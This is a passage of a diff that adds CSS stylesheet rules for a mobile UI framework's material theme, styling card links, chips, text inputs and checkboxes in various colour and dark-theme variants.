.card-footer.color-theme-black a.link { + color: #000000; +} +.md .card-header a.link.color-red, +.md .card-footer a.link.color-red { + color: #f44336; +} +.md .card-header a.link.color-green, +.md .card-footer a.link.color-green { + color: #4caf50; +} +.md .card-header a.link.color-blue, +.md .card-footer a.link.color-blue { + color: #2196f3; +} +.md .card-header a.link.color-pink, +.md .card-footer a.link.color-pink { + color: #e91e63; +} +.md .card-header a.link.color-yellow, +.md .card-footer a.link.color-yellow { + color: #ffeb3b; +} +.md .card-header a.link.color-orange, +.md .card-footer a.link.color-orange { + color: #ff9800; +} +.md .card-header a.link.color-gray, +.md .card-footer a.link.color-gray { + color: #9e9e9e; +} +.md .card-header a.link.color-white, +.md .card-footer a.link.color-white { + color: #ffffff; +} +.md .card-header a.link.color-black, +.md .card-footer a.link.color-black { + color: #000000; +} +/* === Chips === */ +.chip { + font-weight: normal; + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 2px 0; +} +.chip-media { + border-radius: 50%; + text-align: center; + color: #fff; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.chip-media img { + max-width: 100%; + max-height: 100%; + width: auto; + height: auto; + border-radius: 50%; + display: block; +} +.chip-label { + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + position: relative; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.chip-delete { + text-align: center; + cursor: pointer; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + background-repeat: no-repeat; +} +.chip .chip-delete.active-state { + opacity: 1; +} +.md .chip { + font-size: 13px; + color: rgba(0, 0, 0, 0.87); + background: rgba(0, 0, 0, 0.12); + height: 32px; + line-height: 32px; + border-radius: 16px; + padding: 0 12px; +} +.md .chip-outline { + background: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.md .chip-media { + width: 32px; + height: 32px; + vertical-align: top; + border-radius: 50%; + text-align: center; + line-height: 32px; + color: #fff; + font-size: 16px; + margin-right: -12px; +} +.md .chip-media + .chip-label { + margin-right: 8px; +} +.md .chip-label + .chip-delete { + margin-right: 4px; +} +.md .chip-delete { + margin-right: -8px; + width: 24px; + height: 24px; + line-height: 24px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + background-position: center; + background-size: 20px 20px; + opacity: 0.54; + margin-left: -8px; +} +.md .theme-dark .chip { + background: #333; + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .chip-outline { + background: none; + border-color: #333; +} +.md .theme-dark .chip-delete { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .chip.color-red { + background: #f44336; + color: #fff; +} +.md .chip.color-red.chip-outline { + background: none; + border-color: #f44336; + color: #f44336; +} +.md .chip.color-green { + background: #4caf50; + color: #fff; +} +.md .chip.color-green.chip-outline { + background: none; + border-color: #4caf50; + color: #4caf50; +} +.md .chip.color-blue { + background: #2196f3; + color: #fff; +} +.md .chip.color-blue.chip-outline { + background: none; + border-color: #2196f3; + color: #2196f3; +} +.md .chip.color-pink { + background: #e91e63; + color: #fff; +} +.md .chip.color-pink.chip-outline { + background: none; + border-color: #e91e63; + color: #e91e63; +} +.md .chip.color-yellow { + background: #ffeb3b; + color: #fff; +} +.md .chip.color-yellow.chip-outline { + background: none; + border-color: #ffeb3b; + color: #ffeb3b; +} +.md .chip.color-orange { + background: #ff9800; + color: #fff; +} +.md .chip.color-orange.chip-outline { + background: none; + border-color: #ff9800; + color: #ff9800; +} +.md .chip.color-gray { + background: #9e9e9e; + color: #fff; +} +.md .chip.color-gray.chip-outline { + background: none; + border-color: #9e9e9e; + color: #9e9e9e; +} +.md .chip.color-white { + background: #ffffff; + color: #fff; +} +.md .chip.color-white.chip-outline { + background: none; + border-color: #ffffff; + color: #ffffff; +} +.md .chip.color-black { + background: #000000; + color: #fff; +} +.md .chip.color-black.chip-outline { + background: none; + border-color: #000000; + color: #000000; +} +/* === Input === */ +input[type="text"], +input[type="password"], +input[type="search"], +input[type="email"], +input[type="tel"], +input[type="url"], +input[type="date"], +input[type="datetime-local"], +input[type="time"], +input[type="number"], +select, +textarea { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border: none; + -webkit-box-shadow: none; + box-shadow: none; + border-radius: 0; + outline: 0; + display: block; + padding: 0; + margin: 0; + font-family: inherit; + background: none; + resize: none; + font-size: inherit; + color: inherit; +} +.textarea-resizable-shadow { + opacity: 0; + position: absolute; + z-index: -1000; + pointer-events: none; + left: -1000px; + top: -1000px; + visibility: hidden; +} +.list input[type="text"], +.list input[type="password"], +.list input[type="search"], +.list input[type="email"], +.list input[type="tel"], +.list input[type="url"], +.list input[type="date"], +.list input[type="datetime-local"], +.list input[type="time"], +.list input[type="number"], +.list select, +.list textarea { + width: 100%; +} +.list input[type="datetime-local"] { + max-width: 50vw; +} +.list input[type="date"], +.list input[type="datetime-local"] { + line-height: 44px; +} +.list input[type="date"], +.list input[type="datetime-local"] { + text-align: right; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + width: auto; +} +.list textarea { + resize: none; + line-height: 1.4; + height: 100px; +} +.list .item-label, +.list .item-floating-label { + vertical-align: top; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.list .item-input-wrap { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; +} +.input { + position: relative; +} +.input input, +.input select, +.input textarea { + width: 100%; +} +.input-clear-button { + opacity: 0; + pointer-events: none; + visibility: hidden; + -webkit-transition-duration: 100ms; + transition-duration: 100ms; + position: absolute; + top: 50%; + border-radius: 50%; + border: none; + padding: 0; + margin: 0; + outline: 0; + z-index: 1; + cursor: pointer; + background: none; + left: 0; +} +.input-clear-button:after { + content: ''; + position: absolute; + width: 100%; + height: 100%; + left: 0; + top: 0; + background-repeat: no-repeat; + background-position: center center; +} +.input-clear-button:before { + position: absolute; + content: ''; + left: 50%; + top: 50%; +} +.input-with-value ~ .input-clear-button, +.item-input-with-value .input-clear-button, +.input-with-value .input-clear-button { + opacity: 1; + pointer-events: auto; + visibility: visible; +} +.input-dropdown-wrap, +.input-dropdown { + position: relative; +} +.input-dropdown-wrap:before, +.input-dropdown:before { + content: ''; + pointer-events: none; + position: absolute; + top: 50%; + margin-top: -2px; + width: 0; + height: 0; + border-left: 5px solid transparent; + border-right: 5px solid transparent; + border-top: 5px solid #727272; + left: 2px; +} +.input-dropdown-wrap select, +.input-dropdown select, +.input-dropdown-wrap input, +.input-dropdown input, +.input-dropdown-wrap textarea, +.input-dropdown textarea { + padding-right: 14px; +} +.md .list input[type="text"], +.md .list input[type="password"], +.md .list input[type="search"], +.md .list input[type="email"], +.md .list input[type="tel"], +.md .list input[type="url"], +.md .list input[type="date"], +.md .list input[type="datetime-local"], +.md .list input[type="time"], +.md .list input[type="number"], +.md .list select { + height: 36px; + color: #212121; + font-size: 16px; +} +.md .list input[type="text"]::-webkit-input-placeholder, +.md .list input[type="password"]::-webkit-input-placeholder, +.md .list input[type="search"]::-webkit-input-placeholder, +.md .list input[type="email"]::-webkit-input-placeholder, +.md .list input[type="tel"]::-webkit-input-placeholder, +.md .list input[type="url"]::-webkit-input-placeholder, +.md .list input[type="date"]::-webkit-input-placeholder, +.md .list input[type="datetime-local"]::-webkit-input-placeholder, +.md .list input[type="time"]::-webkit-input-placeholder, +.md .list input[type="number"]::-webkit-input-placeholder, +.md .list select::-webkit-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list input[type="text"]:-ms-input-placeholder, +.md .list input[type="password"]:-ms-input-placeholder, +.md .list input[type="search"]:-ms-input-placeholder, +.md .list input[type="email"]:-ms-input-placeholder, +.md .list input[type="tel"]:-ms-input-placeholder, +.md .list input[type="url"]:-ms-input-placeholder, +.md .list input[type="date"]:-ms-input-placeholder, +.md .list input[type="datetime-local"]:-ms-input-placeholder, +.md .list input[type="time"]:-ms-input-placeholder, +.md .list input[type="number"]:-ms-input-placeholder, +.md .list select:-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list input[type="text"]::-ms-input-placeholder, +.md .list input[type="password"]::-ms-input-placeholder, +.md .list input[type="search"]::-ms-input-placeholder, +.md .list input[type="email"]::-ms-input-placeholder, +.md .list input[type="tel"]::-ms-input-placeholder, +.md .list input[type="url"]::-ms-input-placeholder, +.md .list input[type="date"]::-ms-input-placeholder, +.md .list input[type="datetime-local"]::-ms-input-placeholder, +.md .list input[type="time"]::-ms-input-placeholder, +.md .list input[type="number"]::-ms-input-placeholder, +.md .list select::-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list input[type="text"]::placeholder, +.md .list input[type="password"]::placeholder, +.md .list input[type="search"]::placeholder, +.md .list input[type="email"]::placeholder, +.md .list input[type="tel"]::placeholder, +.md .list input[type="url"]::placeholder, +.md .list input[type="date"]::placeholder, +.md .list input[type="datetime-local"]::placeholder, +.md .list input[type="time"]::placeholder, +.md .list input[type="number"]::placeholder, +.md .list select::placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea { + color: #212121; + font-size: 16px; + padding-top: 7px; + padding-bottom: 7px; +} +.md .list textarea.resizable { + height: 36px; +} +.md .list textarea::-webkit-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea:-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea::-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea::placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .item-input-wrap:after, +.md .input:after { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.md .item-input-wrap { + min-height: 36px; +} +.md .item-input-wrap:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .item-input-wrap:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .item-input-wrap:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .input:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .input:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .input:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .item-label, +.md .item-floating-label { + font-size: 12px; + width: 100%; + color: rgba(0, 0, 0, 0.65); + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + line-height: 13px; + -webkit-transition-property: color, -webkit-transform; + transition-property: color, -webkit-transform; + transition-property: transform, color; + transition-property: transform, color, -webkit-transform; +} +.md .item-floating-label { + -webkit-transform: scale(1.33333333) translateY(18px); + transform: scale(1.33333333) translateY(18px); + color: rgba(0, 0, 0, 0.35); + width: auto; + max-width: 75%; + pointer-events: none; + -webkit-transform-origin: right; + transform-origin: right; +} +.md .item-floating-label ~ .item-input-wrap input::-webkit-input-placeholder, +.md .item-floating-label ~ .item-input-wrap textarea::-webkit-input-placeholder { + color: transparent !important; +} +.md .item-floating-label ~ .item-input-wrap input:-ms-input-placeholder, +.md .item-floating-label ~ .item-input-wrap textarea:-ms-input-placeholder { + color: transparent !important; +} +.md .item-floating-label ~ .item-input-wrap input::-ms-input-placeholder, +.md .item-floating-label ~ .item-input-wrap textarea::-ms-input-placeholder { + color: transparent !important; +} +.md .item-floating-label ~ .item-input-wrap input::placeholder, +.md .item-floating-label ~ .item-input-wrap textarea::placeholder { + color: transparent !important; +} +.md .item-input-with-value .item-floating-label, +.md .item-input-focused .item-floating-label { + -webkit-transform: scale(1) translateY(0); + transform: scale(1) translateY(0); +} +.md .item-input-with-value .item-floating-label { + color: rgba(0, 0, 0, 0.65); +} +.md .item-input .item-media { + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; +} +.md .item-input .item-inner { + display: block; +} +.md .item-input .item-inner:after { + display: none !important; +} +.md .inline-labels .item-media, +.md .inline-label .item-media { + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + padding-top: 14px; +} +.md .inline-labels .item-inner, +.md .inline-label .item-inner { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.md .inline-labels .item-label, +.md .inline-label .item-label, +.md .inline-labels .item-floating-label, +.md .inline-label .item-floating-label { + font-size: 16px; + width: 30%; + line-height: 1.5; + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + padding-top: 7px; +} +.md .inline-labels .item-label + .item-input-wrap, +.md .inline-label .item-label + .item-input-wrap, +.md .inline-labels .item-floating-label + .item-input-wrap, +.md .inline-label .item-floating-label + .item-input-wrap { + margin-right: 8px; +} +.md .item-input-with-error-message, +.md .item-input-with-info, +.md div.input-with-error-message, +.md div.input-with-info, +.md span.input-with-error-message, +.md span.input-with-info { + padding-bottom: 20px; +} +.md .item-input-error-message, +.md .item-input-info, +.md .input-error-message, +.md .input-info { + font-size: 12px; + line-height: 1.4; + position: absolute; + top: 100%; + margin-top: 4px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + display: block; + right: 0; + left: 16px; +} +.md .item-input-info, +.md .input-info { + color: rgba(0, 0, 0, 0.45); +} +.md .item-input-error-message, +.md .input-error-message { + color: #f44336; + display: none; +} +.md .item-input-focused .item-label, +.md .item-input-focused .item-floating-label { + color: #2196f3; +} +.md .item-input-focused .item-input-wrap:after, +.md .input-focused:after { + background: #2196f3; +} +.md .item-input-invalid .item-label, +.md .item-invalid .item-label, +.md .item-input-invalid .item-floating-label, +.md .item-invalid .item-floating-label { + color: #f44336; +} +.md .item-input-invalid .item-input-error-message, +.md .item-invalid .item-input-error-message, +.md .item-input-invalid .input-error-message, +.md .item-invalid .input-error-message { + display: block; +} +.md .item-input-invalid .item-input-info, +.md .item-invalid .item-input-info, +.md .item-input-invalid .input-info, +.md .item-invalid .input-info { + display: none; +} +.md .item-input-invalid .item-input-wrap:after, +.md .input-invalid:after { + background: #f44336; +} +.md .item-input-invalid .item-input-wrap:after, +.md .item-input-focused .item-input-wrap:after { + -webkit-transform: scaleY(2); + transform: scaleY(2); +} +.md .input-invalid:after, +.md .input-focused:after { + -webkit-transform: scaleY(2) !important; + transform: scaleY(2) !important; +} +.md .input-clear-button { + width: 24px; + height: 24px; + background: rgba(0, 0, 0, 0.12); + margin-top: -12px; +} +.md .input-clear-button:after { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + background-size: 16px 16px; + opacity: 0.54; +} +.md .input-clear-button:before { + width: 48px; + height: 48px; + margin-left: -24px; + margin-top: -24px; +} +.md .item-input-wrap .input-clear-button { + bottom: 6px; + margin-top: 0; + top: auto; +} +.md .theme-dark input[type="text"], +.md .theme-dark input[type="password"], +.md .theme-dark input[type="search"], +.md .theme-dark input[type="email"], +.md .theme-dark input[type="tel"], +.md .theme-dark input[type="url"], +.md .theme-dark input[type="date"], +.md .theme-dark input[type="datetime-local"], +.md .theme-dark input[type="time"], +.md .theme-dark input[type="number"], +.md .theme-dark select, +.md .theme-dark textarea { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark input[type="text"]::-webkit-input-placeholder, +.md .theme-dark input[type="password"]::-webkit-input-placeholder, +.md .theme-dark input[type="search"]::-webkit-input-placeholder, +.md .theme-dark input[type="email"]::-webkit-input-placeholder, +.md .theme-dark input[type="tel"]::-webkit-input-placeholder, +.md .theme-dark input[type="url"]::-webkit-input-placeholder, +.md .theme-dark input[type="date"]::-webkit-input-placeholder, +.md .theme-dark input[type="datetime-local"]::-webkit-input-placeholder, +.md .theme-dark input[type="time"]::-webkit-input-placeholder, +.md .theme-dark input[type="number"]::-webkit-input-placeholder, +.md .theme-dark select::-webkit-input-placeholder, +.md .theme-dark textarea::-webkit-input-placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark input[type="text"]:-ms-input-placeholder, +.md .theme-dark input[type="password"]:-ms-input-placeholder, +.md .theme-dark input[type="search"]:-ms-input-placeholder, +.md .theme-dark input[type="email"]:-ms-input-placeholder, +.md .theme-dark input[type="tel"]:-ms-input-placeholder, +.md .theme-dark input[type="url"]:-ms-input-placeholder, +.md .theme-dark input[type="date"]:-ms-input-placeholder, +.md .theme-dark input[type="datetime-local"]:-ms-input-placeholder, +.md .theme-dark input[type="time"]:-ms-input-placeholder, +.md .theme-dark input[type="number"]:-ms-input-placeholder, +.md .theme-dark select:-ms-input-placeholder, +.md .theme-dark textarea:-ms-input-placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark input[type="text"]::-ms-input-placeholder, +.md .theme-dark input[type="password"]::-ms-input-placeholder, +.md .theme-dark input[type="search"]::-ms-input-placeholder, +.md .theme-dark input[type="email"]::-ms-input-placeholder, +.md .theme-dark input[type="tel"]::-ms-input-placeholder, +.md .theme-dark input[type="url"]::-ms-input-placeholder, +.md .theme-dark input[type="date"]::-ms-input-placeholder, +.md .theme-dark input[type="datetime-local"]::-ms-input-placeholder, +.md .theme-dark input[type="time"]::-ms-input-placeholder, +.md .theme-dark input[type="number"]::-ms-input-placeholder, +.md .theme-dark select::-ms-input-placeholder, +.md .theme-dark textarea::-ms-input-placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark input[type="text"]::placeholder, +.md .theme-dark input[type="password"]::placeholder, +.md .theme-dark input[type="search"]::placeholder, +.md .theme-dark input[type="email"]::placeholder, +.md .theme-dark input[type="tel"]::placeholder, +.md .theme-dark input[type="url"]::placeholder, +.md .theme-dark input[type="date"]::placeholder, +.md .theme-dark input[type="datetime-local"]::placeholder, +.md .theme-dark input[type="time"]::placeholder, +.md .theme-dark input[type="number"]::placeholder, +.md .theme-dark select::placeholder, +.md .theme-dark textarea::placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark .item-input:not(.item-input-focused) .item-input-wrap:after, +.md .theme-dark .input:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-label, +.md .theme-dark .item-floating-label { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .item-floating-label { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark .item-input-with-value .item-floating-label { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .input-clear-button { + background: #fff; +} +.md .color-theme-red .item-input-focused .item-label, +.md .color-theme-red .item-input-focused .item-floating-label { + color: #f44336; +} +.md .color-theme-red .item-input-focused .item-input-wrap:after, +.md .color-theme-red .input-after:after { + background: #f44336; +} +.md .color-theme-green .item-input-focused .item-label, +.md .color-theme-green .item-input-focused .item-floating-label { + color: #4caf50; +} +.md .color-theme-green .item-input-focused .item-input-wrap:after, +.md .color-theme-green .input-after:after { + background: #4caf50; +} +.md .color-theme-blue .item-input-focused .item-label, +.md .color-theme-blue .item-input-focused .item-floating-label { + color: #2196f3; +} +.md .color-theme-blue .item-input-focused .item-input-wrap:after, +.md .color-theme-blue .input-after:after { + background: #2196f3; +} +.md .color-theme-pink .item-input-focused .item-label, +.md .color-theme-pink .item-input-focused .item-floating-label { + color: #e91e63; +} +.md .color-theme-pink .item-input-focused .item-input-wrap:after, +.md .color-theme-pink .input-after:after { + background: #e91e63; +} +.md .color-theme-yellow .item-input-focused .item-label, +.md .color-theme-yellow .item-input-focused .item-floating-label { + color: #ffeb3b; +} +.md .color-theme-yellow .item-input-focused .item-input-wrap:after, +.md .color-theme-yellow .input-after:after { + background: #ffeb3b; +} +.md .color-theme-orange .item-input-focused .item-label, +.md .color-theme-orange .item-input-focused .item-floating-label { + color: #ff9800; +} +.md .color-theme-orange .item-input-focused .item-input-wrap:after, +.md .color-theme-orange .input-after:after { + background: #ff9800; +} +.md .color-theme-gray .item-input-focused .item-label, +.md .color-theme-gray .item-input-focused .item-floating-label { + color: #9e9e9e; +} +.md .color-theme-gray .item-input-focused .item-input-wrap:after, +.md .color-theme-gray .input-after:after { + background: #9e9e9e; +} +.md .color-theme-white .item-input-focused .item-label, +.md .color-theme-white .item-input-focused .item-floating-label { + color: #ffffff; +} +.md .color-theme-white .item-input-focused .item-input-wrap:after, +.md .color-theme-white .input-after:after { + background: #ffffff; +} +.md .color-theme-black .item-input-focused .item-label, +.md .color-theme-black .item-input-focused .item-floating-label { + color: #000000; +} +.md .color-theme-black .item-input-focused .item-input-wrap:after, +.md .color-theme-black .input-after:after { + background: #000000; +} +.md .item-input-focused.color-red .item-label, +.md .item-input-focused.color-red .item-floating-label { + color: #f44336; +} +.md .item-input-focused.color-red .item-input-wrap:after, +.md .input-after.color-red:after { + background: #f44336; +} +.md .item-input-focused.color-green .item-label, +.md .item-input-focused.color-green .item-floating-label { + color: #4caf50; +} +.md .item-input-focused.color-green .item-input-wrap:after, +.md .input-after.color-green:after { + background: #f44336; +} +.md .item-input-focused.color-blue .item-label, +.md .item-input-focused.color-blue .item-floating-label { + color: #2196f3; +} +.md .item-input-focused.color-blue .item-input-wrap:after, +.md .input-after.color-blue:after { + background: #f44336; +} +.md .item-input-focused.color-pink .item-label, +.md .item-input-focused.color-pink .item-floating-label { + color: #e91e63; +} +.md .item-input-focused.color-pink .item-input-wrap:after, +.md .input-after.color-pink:after { + background: #f44336; +} +.md .item-input-focused.color-yellow .item-label, +.md .item-input-focused.color-yellow .item-floating-label { + color: #ffeb3b; +} +.md .item-input-focused.color-yellow .item-input-wrap:after, +.md .input-after.color-yellow:after { + background: #f44336; +} +.md .item-input-focused.color-orange .item-label, +.md .item-input-focused.color-orange .item-floating-label { + color: #ff9800; +} +.md .item-input-focused.color-orange .item-input-wrap:after, +.md .input-after.color-orange:after { + background: #f44336; +} +.md .item-input-focused.color-gray .item-label, +.md .item-input-focused.color-gray .item-floating-label { + color: #9e9e9e; +} +.md .item-input-focused.color-gray .item-input-wrap:after, +.md .input-after.color-gray:after { + background: #f44336; +} +.md .item-input-focused.color-white .item-label, +.md .item-input-focused.color-white .item-floating-label { + color: #ffffff; +} +.md .item-input-focused.color-white .item-input-wrap:after, +.md .input-after.color-white:after { + background: #f44336; +} +.md .item-input-focused.color-black .item-label, +.md .item-input-focused.color-black .item-floating-label { + color: #000000; +} +.md .item-input-focused.color-black .item-input-wrap:after, +.md .input-after.color-black:after { + background: #f44336; +} +/* === Checkbox === */ +.icon-checkbox, +.checkbox i { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.checkbox { + position: relative; + display: inline-block; + vertical-align: middle; + z-index: 1; +} +label.item-checkbox, +.checkbox { + cursor: pointer; +} +label.item-checkbox input[type="checkbox"], +.checkbox input[type="checkbox"], +label.item-checkbox input[type="radio"], +.checkbox input[type="radio"] { + display: none; +} +label.item-checkbox .icon-checkbox, +.checkbox .icon-checkbox { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + display: block; +} +label.item-checkbox .icon-checkbox:after, +.checkbox .icon-checkbox:after { + content: ''; + position: absolute; +} +label.item-checkbox { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +label.item-checkbox.active-state:after { + background-color: transparent; +} +label.item-checkbox.disabled, +.disabled label.item-checkbox { + opacity: 0.55; + pointer-events: none; + opacity: 0.55 !important; + pointer-events: none !important; +} +.md .icon-checkbox, +.md .checkbox i { + width: 18px; + height: 18px; + border-radius: 2px; + border: 2px solid #6d6d6d; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + background-color: transparent; +} +.md .icon-checkbox:after, +.md .checkbox i:after { + width: 18px; + height: 18px; + left: -2px; + top: -2px; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + opacity: 0; + background: no-repeat center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M9%2016.17L4.83%2012l-1.42%201.41L9%2019%2021%207l-1.41-1.41z'%2F%3E%3C%2Fsvg%3E"); + background-size: 100% auto; +} +.md label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox input[type="checkbox"]:checked ~ i { + background-color: #2196f3; + border-color: #2196f3; +} +.md label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox:after, +.md label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox:after, +.md .checkbox input[type="checkbox"]:checked ~ i:after { + opacity: 1; +} +.md label.item-checkbox { + position: relative; + overflow: hidden; + z-index: 0; +} +.md label.item-checkbox > .icon-checkbox { + margin-left: 38px; +} +.md label.item-checkbox .item-content .item-media, +.md label.item-checkbox.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.md label.item-checkbox.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .theme-dark label.item-checkbox.active-state { + background-color: rgba(255, 255, 255, 0.05); +} +.md .theme-dark .icon-checkbox, +.md .theme-dark .checkbox i { + border-color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-red label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-red .checkbox input[type="checkbox"]:checked ~ i { + background-color: #f44336; + border-color: #f44336; +} +.md .color-theme-red .checkbox .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-green label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-green label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-green .checkbox input[type="checkbox"]:checked ~ i { + background-color: #4caf50; + border-color: #4caf50; +} +.md .color-theme-green .checkbox .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-blue label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-blue label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-blue .checkbox input[type="checkbox"]:checked ~ i { + background-color: #2196f3; + border-color: #2196f3; +} +.md .color-theme-blue .checkbox .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-pink label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-pink label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-pink .checkbox input[type="checkbox"]:checked ~ i { + background-color: #e91e63; + border-color: #e91e63; +} +.md .color-theme-pink .checkbox .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-yellow label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-yellow label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-yellow .checkbox input[type="checkbox"]:checked ~ i { + background-color: #ffeb3b; + border-color: #ffeb3b; +} +.md .color-theme-yellow .checkbox .ripple-wave { + background: rgba(255, 235, 59, 